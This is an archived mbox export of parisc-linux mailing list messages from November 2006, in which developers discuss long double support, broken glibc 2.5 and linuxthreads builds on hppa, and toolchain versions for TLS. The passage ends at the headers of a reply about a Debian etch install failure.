X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Nov 2006 01:49:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 17 Nov 2006 02:49:03 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4CB557D957;
	Thu, 16 Nov 2006 18:49:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32116-09; Thu, 16 Nov 2006 18:49:00 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BB6B17D921;
	Thu, 16 Nov 2006 18:48:58 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 23BFA7D94F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 18:48:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32101-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 18:48:53 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 95A997D921
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 18:48:53 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id kAH1mpel028181;
	Thu, 16 Nov 2006 20:48:51 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id kAH1moG4028180;
	Thu, 16 Nov 2006 20:48:50 -0500 (EST)
In-Reply-To: <119aab440611161731p47779d1hdc7e7dbd336eb23c@mail.gmail.com> from
	"Carlos O'Donell" at Nov 16, 2006 08:31:58 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PW9oLXcCZDI4DLHGdWY2MKtxemhmYwEv
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24094

> Is there any opposition to checking in the fix for 3?
> Speak now or forever hold your peace.

Do it before I change my mind...

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 64-bit long double support.
Date: Thu, 16 Nov 2006 22:48:52 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <119aab440611161948w5005d083ma170b013409c93c6@mail.gmail.com>
References: <119aab440611161731p47779d1hdc7e7dbd336eb23c@mail.gmail.com>
	<200611170148.kAH1moG4028180@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624216 21642 80.91.229.3 (22 Nov 2014 02:43:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:36 +0000 (UTC)
Cc: dave.anglin@nrc.ca,
 parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Nov 2006 03:49:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx092) with SMTP; 17 Nov 2006 04:49:04 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D555E7D957;
	Thu, 16 Nov 2006 20:49:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01043-06; Thu, 16 Nov 2006 20:49:00 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BFF297D94D;
	Thu, 16 Nov 2006 20:48:58 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DF9B47D943
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 20:48:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01043-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 20:48:54 -0700 (MST)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.170])
	by free.linux.hp.com (Postfix) with ESMTP id 3C5F27D921
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 20:48:54 -0700 (MST)
Original-Received: by ug-out-1314.google.com with SMTP id c2so625303ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 19:48:53 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=POxXtAhuTjgAnolV9t1tiG2UpvLduBH5WFbAbGfyNsIbyF/Zm3rGLzK/EBb6JKL4HzZWDfyHevcl6Z1+wtFpwKZtUwTImuajPZF13b5zX0py6lfw0SOwrLqLQ+dsFYNsZCwIeU5tfWd9g6Du2ImOgqIqUzvpQ7t1PrtZJ3MELOQ=
Original-Received: by 10.78.164.13 with SMTP id m13mr1400255hue.1163735332631;
	Thu, 16 Nov 2006 19:48:52 -0800 (PST)
Original-Received: by 10.78.147.11 with HTTP; Thu, 16 Nov 2006 19:48:52 -0800 (PST)
In-Reply-To: <200611170148.kAH1moG4028180@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 4f19a7e3fffc66d7
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AwdodGsAbUkoDenGPWgnHH9kZ2hlN0pj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24095

On 11/16/06, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> > Is there any opposition to checking in the fix for 3?
> > Speak now or forever hold your peace.
>
> Do it before I change my mind...

Trimming libc-alpha from the list.

Joseph Myers caught me on IRC at work and commented:
"... if you want 128-bit IEEE quad long double support, soft-fp should
work fine ..."

While I believe "work fine" is a relative term, it would require more
work than we have time for right now. I think there are more fun
projects to work on than this. For example I think gdb could use some
TLC for hppa.

Not only that but I have to help bootstrap distros using NPTL.
*waves to ubuntu and gentoo guys*

Don't let me stop you from working on doing a 128-bit IEEE quad long
double support. I will gladly do the "symbol transition" dance if you
get it implemented in gcc.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 64-bit long double support.
Date: Thu, 16 Nov 2006 23:10:01 -0500
Organization: wh0rd.org
Lines: 59
Approved: news@gmane.org
Message-ID: <200611162310.03845.vapier@gentoo.org>
References: <119aab440611161731p47779d1hdc7e7dbd336eb23c@mail.gmail.com>
	<200611170148.kAH1moG4028180@hiauly1.hia.nrc.ca>
	<119aab440611161948w5005d083ma170b013409c93c6@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1570527225=="
X-Trace: ger.gmane.org 1416624216 21645 80.91.229.3 (22 Nov 2014 02:43:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:36 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 dave.anglin@nrc.ca
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Nov 2006 04:10:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx001) with SMTP; 17 Nov 2006 05:10:25 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DD7787D94C;
	Thu, 16 Nov 2006 21:10:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01570-10; Thu, 16 Nov 2006 21:10:18 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CE2987D953;
	Thu, 16 Nov 2006 21:10:16 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6A7377D94C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 21:10:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01568-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 21:10:11 -0700 (MST)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by free.linux.hp.com (Postfix) with ESMTP id 049A67D945
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 21:10:11 -0700 (MST)
Original-Received: from home.wh0rd.org (localhost [127.0.0.1])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp.gentoo.org (Postfix) with ESMTP id 90D4E64C22
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 04:10:07 +0000 (UTC)
Original-Received: (qmail 21691 invoked from network); 16 Nov 2006 23:07:29 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 16 Nov 2006 23:07:29 -0500
User-Agent: KMail/1.9.5
In-Reply-To: <119aab440611161948w5005d083ma170b013409c93c6@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AABodGoAbUkoDenGPWgnQmVkZ2hlN4oi
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24096

--===============1570527225==
Content-Type: multipart/signed; boundary="nextPart2455656.yIMGLyUmHG";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart2455656.yIMGLyUmHG
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Thursday 16 November 2006 22:48, Carlos O'Donell wrote:
> Not only that but I have to help bootstrap distros using NPTL.
> *waves to ubuntu and gentoo guys*

i tried gcc-4.1.1/glibc-2.5 for hppa already and i thought it was broken ..=
=2E=20
plus, it makes it hard doing cross-compiles when my 64bit hosts (which i=20
wh0re a lot because they're the fast ones) induce ICEs when building=20
glibc/uclibc
http://gcc.gnu.org/PR29114
=2Dmike

--nextPart2455656.yIMGLyUmHG
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (GNU/Linux)

iQIVAwUARV02G0FjO5/oN/WBAQKJaA//f4sg9dkGC0EbDUxZL6Gfu3ArCvxNeoQm
TgV5X2pgSIro2mHqZThYigTfFgpBFhSrDXx6W8e5IWzCNO+jaZgjxk8ex2ArrQZy
LqyNW6kEemOjZGl3EgZ79LrQJPu6Wj8eMOqulHiBq2BXh6Znxpz93/K8DKCgpJIU
m0n9Wi4EykMLzaeOyTrZcJfA7w5bbXCsMU0IIGn/wSFAYeCTCMKBC5qJG6EykJSQ
PNvgFry5gLhCCKY5zfloHyD1fEYexLT/B9LxFpEr3o2uOGo7PPit6CHS4Dgl6ig8
7D3YU0/RubwEZcsY+KEioi4gU60SnkFz19PSS8iq9ML1fVIYzKEMrx+vhCbwGESk
FmBw02A3HEFsRhPMOxU+JZ53moVGUSu+gsG6k5B8t1ltc5I3pRqZO1Vl24W7aYsT
oapL1dxtGyquZDWbk1t4oByEncQl+zIurjOFTuwpwzvtVRHk7MZXg1L+alHlDknN
GOfb2YXdjiuHFbWQXkSLNPJJjhlgvtj6aCVPvzooUBTmm+GloN91dzjAuaUXWge1
EiuJtgHHJi49nJdvqT+5i96dbqTWjrj3BZMMpLmQu9N9EwJKbRABM0Qm6stu76Rk
z5zPBnrQNSRBZVDWfFldIdTitVPlBwWFKvTiIvAc6xzCSv/Q3S4lna0yGOPCgAUh
3C0Ibe3kVwA=
=0k7e
-----END PGP SIGNATURE-----

--nextPart2455656.yIMGLyUmHG--

--===============1570527225==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1570527225==--



From - Thu Nov 08 21:35:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 64-bit long double support.
Date: Thu, 16 Nov 2006 23:16:25 -0500
Organization: wh0rd.org
Lines: 63
Approved: news@gmane.org
Message-ID: <200611162316.26872.vapier@gentoo.org>
References: <119aab440611161731p47779d1hdc7e7dbd336eb23c@mail.gmail.com>
	<119aab440611161948w5005d083ma170b013409c93c6@mail.gmail.com>
	<200611162310.03845.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1483173861=="
X-Trace: ger.gmane.org 1416624217 21648 80.91.229.3 (22 Nov 2014 02:43:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:37 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 dave.anglin@nrc.ca
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Nov 2006 04:16:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 17 Nov 2006 05:16:44 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 13D807D95D;
	Thu, 16 Nov 2006 21:16:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01983-10; Thu, 16 Nov 2006 21:16:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 061B07D961;
	Thu, 16 Nov 2006 21:16:39 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 006A37D95C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 21:16:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01906-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 21:16:34 -0700 (MST)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by free.linux.hp.com (Postfix) with ESMTP id 8CA1F7D94C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 21:16:34 -0700 (MST)
Original-Received: from home.wh0rd.org (localhost [127.0.0.1])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp.gentoo.org (Postfix) with ESMTP id 89DE464E4F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 04:16:33 +0000 (UTC)
Original-Received: (qmail 10694 invoked from network); 16 Nov 2006 23:13:51 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 16 Nov 2006 23:13:51 -0500
User-Agent: KMail/1.9.5
In-Reply-To: <200611162310.03845.vapier@gentoo.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: w0I0dlAmeWU3WK2TZm9nr3YrL0tsZk1u
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24097

--===============1483173861==
Content-Type: multipart/signed; boundary="nextPart5735798.DmiPFVka1d";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart5735798.DmiPFVka1d
Content-Type: text/plain;
  charset="iso-8859-6"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Thursday 16 November 2006 23:10, Mike Frysinger wrote:
> On Thursday 16 November 2006 22:48, Carlos O'Donell wrote:
> > Not only that but I have to help bootstrap distros using NPTL.
> > *waves to ubuntu and gentoo guys*
>
> i tried gcc-4.1.1/glibc-2.5 for hppa already and i thought it was broken

ok, just tried glibc-2.5 + hppa + linuxthreads and that is for sure broken=
=20
(the defines for handling locking is all broken in the release)

what is the minimal binutils/gcc versions for TLS support ?  binutils-2.17 =
+=20
gcc-4.1.1 =3D=3D no hppa TLS
=2Dmike

--nextPart5735798.DmiPFVka1d
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (GNU/Linux)

iQIVAwUARV03mkFjO5/oN/WBAQICbw//bPVmQVVa6JsO3mZr3heDv8Rd0iyGbqFS
kzWu3cHiDeknuilNAuHSQYHabFe6pCYKos244NbGimalZYkqKmtmaJqLWXKfl5Jz
INxlajjaQ5uhVcU4WzO9+yGX897QidmfgSVI1//llpaL7XbE/fWlEEnj5BcO3HX4
pD8tCyFzFS3L7Ei1KHdhU+52LsGtlT6/wLB6x5j1OwtBDtD1rWO+OO47KEXdfvrc
ggwmIWIFFckSodep7ev3mtUyWHw1LuRBgeUv66/MGHz0ABiA1qzUa7CFB0vUdYya
AIchhcv7vkYV2mLjo2gwo09SNBi5DYTOo4sH2ftJ/GZU+LZn+uY/zynQcbm8pB7Q
ZtIdow3c/G0Ss/HyhTZrNXww/qY4v7F4kWgkUdka1VZaLoqHsB8g4ENbM6rhGLNN
6Vq64hABhBqPWpWR7ibjIfPPLYfQGrbuWjhJyyM+NWtwzfFOM3dt2Qs/GSGWMWfz
QKp8TYYVVBGA4am5jvSg+uygbM1op7Ookl9U9pNh35WTkvyUqUU/W8LkRfSqrpDK
JEYhTM6Q5eppiZPmWDO6n4LQ+h1wEg/D4stalFVtNupgeVk632BCMyv0fRmFneNH
PnT+bZcb1L30X6EMwgJVwhsWPBSajmhs2sKRYx39KpPo6CmOvUWfyAEprmsCsjiM
29s3IcF5aEE=
=PA+B
-----END PGP SIGNATURE-----

--nextPart5735798.DmiPFVka1d--

--===============1483173861==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1483173861==--



From - Thu Nov 08 21:35:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian etch rc1 & daily build install fail on C160
Date: Tue, 21 Nov 2006 13:48:20 -0600
Lines: 60
Approved: news@gmane.org
Message-ID: <200611211348.20682.mszick@morethan.org>
References: <4562C898.2090605@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624217 21649 80.91.229.3 (22 Nov 2014 02:43:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Nov 2006 19:48:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx083) with SMTP; 21 Nov 2006 20:48:43 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 68E317D8EC;
	Tue, 21 Nov 2006 12:48:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28984-09; Tue, 21 Nov 2006 12:48:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 69A787D906;
	Tue, 21 Nov 2006 12:48:38 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A4B867D8F8
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Nov 2006 12:48:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29025-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Nov 2006 12:48:27 -0700 (MST)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 3002C7D8E4
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Nov 2006 12:48:27 -0700 (MST)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id kALJmO10051882
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Nov 2006 11:48:28 -0800 (PST)
	(envelope-from mszick@morethan.org)
Original-Received: from [67.77.73.153] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id 4UD0aYJ2
	authenticated by SMTP; Tue, 21 Nov 2006 11:48:22 -0800 (PST)
User-Agent: KMail/1.9.5
